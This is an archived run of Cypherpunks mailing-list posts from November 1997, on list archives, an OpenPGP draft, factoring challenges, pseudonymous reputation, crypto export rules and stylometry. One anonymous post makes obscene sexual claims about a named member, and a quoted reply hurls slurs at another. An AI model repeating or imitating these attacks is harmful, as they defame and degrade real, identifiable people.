so long as they have interesting things to say.

Finally, your perception that there is an "emphasis on violence,
killing, and death" is not accurate.  What is the cypherpunk body
count?  Last I checked it was zero.  Out of the thousands of people
who have been on the list, can you think of a single act of violence
perpetrated by a list member?  The only ones I know about happened in
wars sponsored by the U.S. government before the list was even formed.

>The fact that other cultures are often repressive in their own right
>is no excuse.  The tools we offer will help them become more
>open-minded and inclusive.  But we must set an example ourselves.  It
>is a tragedy that the message of hate is being propagated within a
>technological movement which should foster openness and
>enlightenment.  We can do better than this.

Maybe it would be best if you set an example in setting an example
for the rest of us to follow.  ;-)

My sense of your article, feel free to correct me if I am wrong, is
that you see the Cypherpunks as a more or less cohesive group with a
coherent agenda and a face to present to the outside world.

I prefer to look at it as a mailing list to which anybody in the world
may subscribe.  I am certainly not responsible for other people's work
on it, for better or for worse.

And, I believe we will get more done if I, for one example, think for
myself about the most useful thing my time could be spent doing.

If 100 cypherpunks choose one leader and follow his instructions will
we really accomplish more than if 100 cypherpunks think imaginatively
and creatively about what they themselves will do?  I doubt it.

Besides which, leaders are choke points.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Wed, 19 Nov 1997 02:38:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: mailing list archive
Message-ID: <199711181827.NAA08131@tana.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Doh -- I thought my dataset included everything, but it instead just
covers every article I can think of between:

> Date: Tue, 27 Apr 93 22:53:39 BST
> From: whitaker@eternity.demon.co.uk (Russell E. Whitaker)
> Reply-To: whitaker@eternity.demon.co.uk
> To: cypherpunks@toad.com
> Cc: whitaker@eternity.demon.co.uk

and the present.  I'm also feeling tempted to incorporate the archives of
some of the offshoot mailing lists, like coderpunks, etc.  

Does anyone know of a good source for the messages before that one?  How
many were there, approximately?  If there are a bunch of them and you can
merge them with mine, I'll be happy to send you a cd of the result.

If enough people want to buy CDs of the data, I'll set up an order page,
establish pricing, etc.  Right now, for me to make a CD requires buying
media and doing it at the media lab, unless I buy a drive, so the cost
is somewhat dependent upon how many people are interested.  If someone wants
to use corporate or government money to overpay for a cd so I can buy
a cd-r writer and make it cheaper for everyone else, I'll think fondly of
whatever organization you represent :)  

Utterly ignoring the copyright issues in the interest of getting wide
dispersal, especially since it's unlikely anyone cares since no one will
get rich selling cypherpunks cd-roms,
Ryan
(the last time I wished for something in parenthetical postscript it worked.
Wish granting service, will you please make the people of the world 
clueful enough to replace governmental/military force with cryptography?  Or
convince one of my professors that they should sign a blank thesis?)
-- 
Ryan Lackey
rdl@mit.edu
http://mit.edu/rdl/		






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Nov 1997 05:59:54 +0800
To: cypherpunks@cyberpass.net
Subject: I-D ACTION:draft-ietf-openpgp-formats-00.txt
Message-ID: <v0400272bb0979128ab30@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3986.1071713752.multipart/mixed"

--Boundary..3986.1071713752.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


--- begin forwarded text


Mime-Version: 1.0
To: IETF-Announce@ietf.org
Cc: ietf-open-pgp@imc.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-openpgp-formats-00.txt
Date: Tue, 18 Nov 1997 09:45:05 -0500
Sender: owner-ietf-open-pgp@imc.org
Precedence: bulk

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the An Open Specification for Pretty Good
Privacy Working Group of the IETF.

	Title		: OP Formats - OpenPGP Message Format
	Author(s)	: R. Thayer, J. Callas, L. Donnerhacke, H. Finney
	Filename	: draft-ietf-openpgp-formats-00.txt
	Pages		: 40
	Date		: 17-Nov-97

This document is maintained in order to publish all necessary
information needed to develop interoperable applications based on the
OP format.  It is not a step-by-step cookbook for writing an
application, it describes only the format and methods needed to read,
check, generate and write conforming packets crossing any network.  It
does not deal with storing and implementation questions albeit it is
necessary to avoid security flaws.

OP (Open-PGP) software uses a combination of strong public-key and
conventional cryptography to provide security services for electronic
communications and data storage.  These services include
confidentiality, key management, authentication and digital signatures.
This document specifies the message formats used in OP.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-openpgp-formats-00.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-openpgp-formats-00.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za

	Europe: ftp.nordu.net
		ftp.nis.garr.it

	Pacific Rim: munnari.oz.au

	US East Coast: ds.internic.net

	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-openpgp-formats-00.txt".

NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.


Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

Content-Type: text/plain
Content-ID:	<19971117171828.I-D@ietf.org>

[This attachment must be fetched by mail.
Open the stationery below and send the resulting
message to get the attachment.]

Content-Type: Message/External-body;
	name="draft-ietf-openpgp-formats-00.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

[This attachment must be fetched by ftp.
 Open the document below to ask your ftp client to fetch it.]

Content-Type: text/plain
Content-ID:	<19971117171828.I-D@ietf.org>

--- end forwarded text



%Get_I-D_ACTION-draft-ietf-openp
Get_I-D_ACTION-draft-ietf-openp
draft-ietf-openpgp-formats-00.txt

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'

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Content-Transfer-Encoding: base64
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Content-Description: ""

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Content-Type: application/octet-stream; name="bin00002.bin"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00002.bin"
Content-Description: "Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>"

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Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00001.bin"
Content-Description: "The e$ Home Page: http://www.shipwright.com/"

AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAADAAAAPgAAAB8AAAAJAAAA
XQAAACAAAAAIAAAAfQAAABBHZXQgSS1EIEFDVElPTi1kcmFmdC1pZXRmLW9w
ZW5wRXVTbkNTT20AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8BFbb/ARW20tt
DAD8BIGb
--Boundary..3986.1071713752.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Nov 1997 05:55:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Invasive interface
Message-ID: <v0400272eb097920be0a3@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: Eric Paulos <paulos@cs.berkeley.edu>
To: wearables List <wearables@media.mit.edu>
Subject: Re: Invasive interface
Date: Sun, 16 Nov 1997 15:28:02 -0800


On a somewhat related issue Eduardo Kac from the Chicago Art Institute
last week sucessfully implanted a microchip under his skin.  This is
much more of a "dumb" chip as it simply can report back an ID number
when queried and doesn't really have any sensing or processing.
However, it is notable because it was done by a non-medical individual
on his own accord and at least shows that implants are becoming a more
accessable to the common person.  Now only what to do about that
heatsink...  More info here:

	 http://www.dialdata.com.br/casadasrosas/net-art/kac/

-Eric Paulos



  AO>  Date: Mon, 10 Nov 1997 14:49:57 -0500 (EST) From: Lee Campbell
  AO>  <elwin@media.mit.edu> Subject: Re: beyond wearable

  >> My wife's uncle just got a pacemaker.  It's a new design; it
  >> listens to his heart, runs signal processing algorithms, and
  >> decides if his occasional arrhythmia is present; if so it takes
  >> over control of his heart muscles; the rest of the time it sits
  >> idle and lets his heart be controlled naturally.

	.... TRUNCATED MESSAGE

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 19 Nov 1997 06:04:36 +0800
To: cypherpunks@cyberpass.net
Subject: Factor a 2048-bit number
Message-ID: <199711182155.PAA01654@dfw-ix3.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

"I know it is wet
And the sun is not sunny.
But we can have
Lots of good fun that is funny!"

This number is the product of two large primes:
26033143779667200325575872888095239079246638261715251025882778261061527750754689886186634470393458067971467246298195626814707422649006575326598789422416672513841540101436913518354325965591664197141268653142721096667415953906554803574814020439328026212412992491918134617881658357074747456933861654849832810755452195562122302074169491126905810585763470157682833868925415992684292240723488274475606146938817977205079259576892680373975171532967403598743810959007294946286128925732513282841571521786211052543209061869205522822739184472518973988412241386534914204118049999553410479040950698778437046093623423391818191485363

Yet, I believe that an enterprising individual will be able to factor it.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Wed, 19 Nov 1997 03:00:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: technical issues of the list
Message-ID: <199711181854.NAA08249@tana.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> (There is, by the way, a project simmering along to put the 5 years of
> Cypherpunks traffic on a Web site...)

I have everything but the first 8 months or so of traffic in the process
of going up on the web soon. (Stupid deadline appeared which put this off
for a few hours).  If the first 8 months were in someplace I could find
them, then there would be a nice complete archive no longer simmering, but
up on the web, ready for people to mirror.  Dr. Dobbs' Journal sells
a Cryptography CD-ROM with AC v 2, etc. on it for $99, and combined with
a Cypherpunks CD-ROM containing list archives of cypherpunks, coderpunks,
cryptography@c2.org, and maybe some other stuff for $50 or so, there would
be 2-cd solution.

I'm pretty sure all 5 years fit on one cd-rom -- I've been using 4 years
as an eternity dds dataset, along with some other stuff, and I think it is
less than 500mb, although one of the problems with my current eternity
file system under linux is that there is no way of telling how big a
directory is (yay VFS kludges). 
-- 
Ryan Lackey
rdl@mit.edu
http://mit.edu/rdl/		






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 19 Nov 1997 06:10:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fairy Gold
Message-ID: <199711182201.QAA03854@dfw-ix2.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <anon@anon.efga.org> wrote:
>Persistent identities suck.  Ideas stand or fall on their own.
>Reputation capital is fairy gold, evaporating with the morning dew.

I do not believe this to be true.  Of course, concepts are valid
regardless of their source.  It would be unwise to take the statements
even of established identities on faith.

The advantage of persistent identity is that it allows the exploration
of more complicated ideas.  Use of the persistent identity places a
particular post in a greater context.

There is only so much that can be done in a single post.  It is the
mailing list equivalent of a sound bite.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 19 Nov 1997 06:21:48 +0800
To: cypherpunks@toad.com
Subject: From the Files - Freeh and Flight 800
Message-ID: <Pine.GSO.3.95.971118140330.17258F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 13 Nov 1997 12:37:04 -0500
From: Marc Rotenberg <rotenberg@epic.org>
To: rotenberg@epic.org
Subject: From the Files - Freeh and Flight 800


Today the FBI ended the TWA Flight 800 criminal probe. The FBI's
lead investigator James Kallstrom said that the FBI found
"absolutely no evidence" that the tragedy was the result of
a criminal act.

But what was the FBI telling Congress after the incident
occurred? The following expert from CNN is worth saving.
Keep in mind that the FBI Director was simultaneously
lobbying the Judiciary Committee for expanded wiretap
authority.

Marc.


>From the CNN, July 20, 1996
[http://cnn.com/US/9607/20/twa.crash.probe/index.html]

U.S. Sen. Orrin Hatch, R-Utah, who was among members of Congress briefed
Friday by FBI Director Louis Freeh, said it looked "pretty darn conclusive"
that
either a bomb or a missile caused the explosion.

"We're looking at a criminal act," Hatch said. "We're looking at somebody who
either put a bomb on it or shot a missile, a surface-to-air missile."

Hatch, chairman of the Judiciary Committee, told CNN he came to his conclusions
after "various conversations" with government officials.

"I won't go so far as to say it was terrorism, but there was sabotage
here," Hatch
said. "It looks like that."

"It's very -- almost 100 percent unlikely -- that this was a mechanical
failure," he
said. "It looks pretty darn conclusive that it was an explosion caused either
internally or externally that was caused by a criminal act."

 * * *








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 18 Nov 1997 21:27:38 +0800
To: cypherpunks@cyberpass.net
Subject: Overcoming prejudice
Message-ID: <199711181305.OAA21511@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Former Klan hotbed elects first black mayor

November 16, 1997

STONE MOUNTAIN, Georgia (AP) -- By the light of a blazing cross, the Ku
Klux Klan proclaimed its 20th century rebirth on the granite mountain
that gives the town its name. For decades, white-hooded Klansmen flocked
here for annual gatherings, and Confederate heroes are sculpted into
the side of the mountain.

Today, the mayor's office once held by an imperial wizard of the Klan
is about to be filled by a black man, who also lives in the former KKK
leader's house.

Elected with biracial support, Chuck Burris is more concerned about
getting new sidewalks and more police than with Stone Mountain's old
image of racial division.

Burris, a city councilman, defeated a six-year incumbent in the November
4 election and will lead a black majority City Council in January.

Campaign didn't focus on race
<snip>
'We wanted the best-qualified candidate'
<snip>
New mayor lives in house that belonged to Klan wizard

---

>From cnn.com.
If the birthplace of the KKK can rise above its racial prejudice, is it
too much to ask the same of ourselves?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Wed, 19 Nov 1997 03:23:25 +0800
To: Ryan Lackey <rdl@mit.edu>
Subject: Re: technical issues of the list
In-Reply-To: <199711181854.NAA08249@tana.mit.edu>
Message-ID: <Pine.GSO.3.95.971118140956.28784H-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 18 Nov 1997, Ryan Lackey wrote:

> up on the web, ready for people to mirror.  Dr. Dobbs' Journal sells
> a Cryptography CD-ROM with AC v 2, etc. on it for $99, and combined with

Has anyone actually received this yet?  I ordered mine in August, and I
still  haven't gotten it.  (I hadn't bothered to call, because I'd noticed
in sci.crypt that *no one* had gotten theirs..)

Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 19 Nov 1997 04:16:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: e$: Snakes of Medusa on Wall Street? (fwd)
Message-ID: <199711182014.OAA23881@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 18 Nov 1997 12:07:49 -0500
> From: Robert Hettinga <rah@shipwright.com>
> Subject: e$: Snakes of Medusa on Wall Street?

> In the study of American theological history, the period when Mormonism was
> invented is called the Great Awakening.

Um, I believe that went from the late 1500's to the early 1700's at best.
Ol' Joe Smith lived in the early and late 1800's nearly a hundred years
after the traditional Great Awakening. Is your claim that there was a 
second Great Awakending or are you saying the traditional (if you will)
dating is incorrect?

> that Vlad Dracul, the Impaler, was Transylvanian

Actualy, to be accurate his name was Vlad Teppish. He was eventualy killed by
his lord for carrying on excesses such as killing a woman because she let her
husband walk around with a tattered coat. Dracul and Dracula are derived
from dragon and imply a connection with the devil (which also derives its
own existance from this lexical tree).

> Of opinion, influence, and reputation, opinion is the most atomic. An opinion
> can be safely defined as a judgement, right or wrong, based on some accepted,
> or maybe just perceived, set of facts.

Doesn't the use of 'perceived' imply some a priori assumptions about the 
base structure of reality and in fact imply a more atomistic issue, that
of conceptual viability? How does an opinion become atomistic if in order
to express it we must invoke other equaly critical (or atomistic)
expressions? Further, without testing a 'perceived' fact is nothing but an
opinion.

> word about whether Socrates said the words himself. Opinion can be completely
> dissociated from identity. An anonymous post on a mailing list can have an
> opinion, and people can agree or disagree with that opinion as they see fit.

That doesn't change the fact that the opinion, anonymous or not, originated
from a single source. While I can accept that testable facts can be isolated
from source biases it escapes me how an opinion can be so isolated. At its
lowest level it is nothing more than a description of an individuals
beliefs about reality and their place in it and clearly has impact on the
sorts of ideas that are expressible in them.

Perhaps opinion & fact are unwittingly being confused. Opinions tell the
observer about the holder of the opinion, not the subject the opinion is
direct toward.

> can't *prove* our opinions are right. The definition of modern human thinking,
> is, however, that at the core of it all, someone, somewhere, is using science
> - -- which is all about verifiable and replicable physical results -- to
> validate, and occasionally create, the set of opinions most of us would now
> call knowlege. So, science or no, our thinking is still functionally,
> heuristics, but it works. Oh, well. Life is hard. :-).

Science is about how to ask questions, it is NOT concerned with the results
directly. Science is a non-intuitive mechanism whereby we can regulate how
we think about the world around us. What to do with the results is engineering.
Science itself is heuristic.

> I think the nice thing about science in the geodesic age, by the way, is that
> the technology of microcomputers and networks makes it easier for more people
> to be closer to scientific truth.

There is no 'scientific truth', THE main axiom of science is that everything
is open to review and change in responce to the observation and description
of the item under studies interactions with the environment around it.

> So, what's influence? On a personal basis, influence occurs when someone else
> agrees with your opinions.

Only if they changed their opinions *because* of the expression of your
opinions. Otherwise we are left with independant discovery. Influence is
the ability of one theory to cause the holder of another theory to add
data or tests that could potentialy alter the outcome of that original
theory. The results may or may not support either of the original theories
or could even cause a 3rd theory to be born.

> The more people agree with your opinions, the more
> influence you have.

The more people agree with your opinions AND are willing to act on them is
a measure of influence. Also, the fact that others may in fact be motivated
to act because they *disagree* with you also is clearly a possibility you
don't address. Never confuse popularity with influence.

> Back to our stack of planes, by no means does the "line" of someone's identity
> have to be a straight one

This runs counter to your assumption regarding the number of line-plane
intersections. If the line is not geometricaly 'straight' it can in fact have
zero, one, or more intersections. This causes a problem with this part of the
conclusion, you are using the axiom as proof of the assertion (the axiom).


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Wed, 19 Nov 1997 06:55:44 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03007808b097c592eba8@[168.161.105.216]>
Message-ID: <3.0.1.32.19971118143504.00dd5d90@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:22 PM 11/18/97 -0500, Declan McCullagh wrote:
>[Forwarded with permission, first few grafs deleted by request. --Declan]
>
>Date: Mon, 17 Nov 1997 10:40:22 -0800 (PST)
>From: Margarita Lacabe <marga@derechos.org>
>Subject: UN Conference
>
<Much deleted>
> There was also a guy from Indigienous World Association who
>missunderstood pretty much everything said, but was very passionate.

Well, if that isn't a summary of 99% of non-netizens, I don't know what is...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 18 Nov 1997 22:48:40 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <UwnQ4MdR7Gmffv8HRfEj/A==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May will fuck anything that moves, but he'd 
rather be fucking his own mother's dead body.

           /\
        __/__\__
         | 00 |  Tim May
        |:  \ :|
         | \_/|
          \__/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Tue, 18 Nov 1997 20:51:47 +0800
To: John Young <jya@pipeline.com>
Subject: Re: OECD on E-Commerce Tax
In-Reply-To: <1.5.4.32.19971118044218.00c09c00@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.971118143718.21511H-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 17 Nov 1997, John Young wrote:

> We offer an HTML version of OECD's paper:
> 
>    "Electronic Commerce: The Challenges to Tax Authorities 
>    and Taxpayers"

There were some reports released lately by the International Chamber of
Commerce (http://www.iccwbo.org/) also. These were in connection with
World Business Agenda for Electronic Commerce conference some days ago in
Paris. Most of the materials seemed to be there on the web.

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Tue, 18 Nov 1997 20:58:06 +0800
To: cryptography@c2.net
Subject: export restictions and investments
Message-ID: <Pine.GSO.3.95.971118144118.21511I-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain




How do the US export restrictions affect investments into non-US crypto
companies? Is it legal for US private persons or companies to invest money
into companies developing strong crypto applications for example in
Europe? 

Since Sun bought the Russian Elvis+ company it seems to be Ok, just wanted
to check if there are any other opinions. Does anyone know of any other
non-US companies that have received US investments, or venture capital or
whatever?

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Nov 1997 05:53:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mission:Critical and Informal Fallacies
In-Reply-To: <v0400277bb0967c576ccc@[139.167.130.248]>
Message-ID: <v0400274eb097a09049c4@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:51 pm -0500 on 11/17/97, Tim May wrote:

> You give yourself too much credit, Little Bunny Rabbit.
>
> Given that I've been posting, and you haven't, you appear to be delusional
> as well as frightened.

Patience, yourself, Grasshopper. :-).


I've been *working*, Tim, for actual money. Mostly. (I *knew* you'd be
happy for me.)  2 articles, (one for Russian publication (ooooo!), one for
a Mac (hisssss!!!!) internet magazine, on the effect of cryptography on
markets and on cryptography policy, respectively, a meeting with someone
who, out of the blue, offered to shop for e$lab money on a trip to New
York, and a bunch of FC98 stuff.

Oh. And a, um, 41k e$ rant. :-), which, I think, just counts for posting to
cypherpunks, I'd bet. Heck, it's even mildly germaine to what's left of the
charter around here...

Now, I'm starting to thrash the inbound e$pam traffic after 4 days. So,
it'll be *real* interesting to see exactly how useful (ie worth sending to
my subscribers and paying sponsors) your "posting" to this list has been
the past few days.

Hint: if the past year's been any indication, not much, not since you've
regressed to your youth and joined the Weather Underground.

So, smell ya later, chief. Then, you can tell me, yet again, just exactly
which way the wind's blowin'.

Just don't forget your coat, while you're standing there in the breeze...


Feh.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Nov 1997 05:57:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4545] Mission:Critical and Informal Fallacies
In-Reply-To: <v0400277bb0967c576ccc@[139.167.130.248]>
Message-ID: <v04002754b097a866212d@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:48 pm -0500 on 11/17/97, TruthMonger wrote:


>   Right... Like we're going to believe this when communist pedophile
> Nazi cocksucker Robert Hettinga tells it to us.

I think you've contradicted your namespace there at least twice. Certainly
not enough entropy for cryptographic purposes... Try again, please. :-).

>   I bet that when I look up 'vuperative' in the dictionary, he'll be
> wrong about that, too.

Got me again. I read the Cliff Notes.

Here, I'll use the proper spelling in a sentence: "Vituperative, aren't we?"

Oh, well, that's what I get for thinking faster than I type these days. ;-)

I suppose that beats the alternative, eh, Mr.
Monger/Toto/Baba/ChetWhack-ins/Whoever-you-are?

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Wed, 19 Nov 1997 08:14:50 +0800
To: cypherpunks@cyberpass.net
Subject: Dr Doobs'CD (was Re: technical issues of the list)
Message-ID: <199711182353.PAA21109@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




>> up on the web, ready for people to mirror.  Dr. Dobbs' Journal sells
>> a Cryptography CD-ROM with AC v 2, etc. on it for $99, and combined with
>
>Has anyone actually received this yet?  I ordered mine in August, and I 

I called a couple of days ago. they said it should be shipped within
2 weeks...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeanne A. E. DeVoto" <jaed@best.com>
Date: Wed, 19 Nov 1997 08:29:22 +0800
To: cypherpunks@toad.com
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03007808b097c592eba8@[168.161.105.216]>
Message-ID: <v03007806b097e05a05ca@[206.163.125.122]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:29 AM -0800 1/19/90, Jonathan Gaw wrote:
>I could imagine numerous scenarios where ISPs would prefer the telephone
>company analogy of being a passive carrier, as opposed to the publisher
>model. can they have it both ways?

Bookstores. See *Cubby vs. CompuServe*.

--
Morning people may be respected, but night people are feared.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jack Oswald <joswald@rpkusa.com>
Date: Wed, 19 Nov 1997 08:46:24 +0800
To: "'Jyri Kaljundi'" <cryptography@c2.net>
Subject: RE: export restictions and investments
Message-ID: <01BCF43F.82159220@joswald@rpkusa.com>
MIME-Version: 1.0
Content-Type: text/plain



I am also aware of a company called VASCO that bought a crypto chip maker in Belgium which was apparently OK too.

Jack

-----Original Message-----
From:	Jyri Kaljundi [SMTP:jk@stallion.ee]
Sent:	Tuesday, November 18, 1997 4:45 AM
To:	cypherpunks@toad.com; cryptography@c2.net
Subject:	export restictions and investments


How do the US export restrictions affect investments into non-US crypto
companies? Is it legal for US private persons or companies to invest money
into companies developing strong crypto applications for example in
Europe? 

Since Sun bought the Russian Elvis+ company it seems to be Ok, just wanted
to check if there are any other opinions. Does anyone know of any other
non-US companies that have received US investments, or venture capital or
whatever?

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)Nerthus <cypherpunks@cyberpass.net>
Date: Tue, 18 Nov 1997 23:35:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: How anonymous?
Message-ID: <199711181526.QAA07169@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Ian Sparkes wrote:
>If all anonymous posters make a concerted effort to write like Mr.
>Nakatuji, not only will anonymity be assured, but the list will be a *lot*
>funnier.

"You know Mixmaster?  Send me 50 dollar, I show you how use."

But seriously, there is something to be said for adopting a style of writing 
specific to a nym or group of nyms.  Anyone who has read The Economist 
magazine on various occasions knows how its language and tone are 
consistent, as if one author writes every article, issue after issue.  
Having the writings of a nym "edited" by others as a way of foiling 
Stylometry -- the statistical analysis of literary style -- may prove to be 
a lucrative business if nyms ever gain wide use, especially if they are used 
in ecommerce where anonymity of the nym holder is paramount to avoid the 
wrath of the tax man in his physical jurisdiction.

Much of our writing style is unconscious.  We habitually use certain 
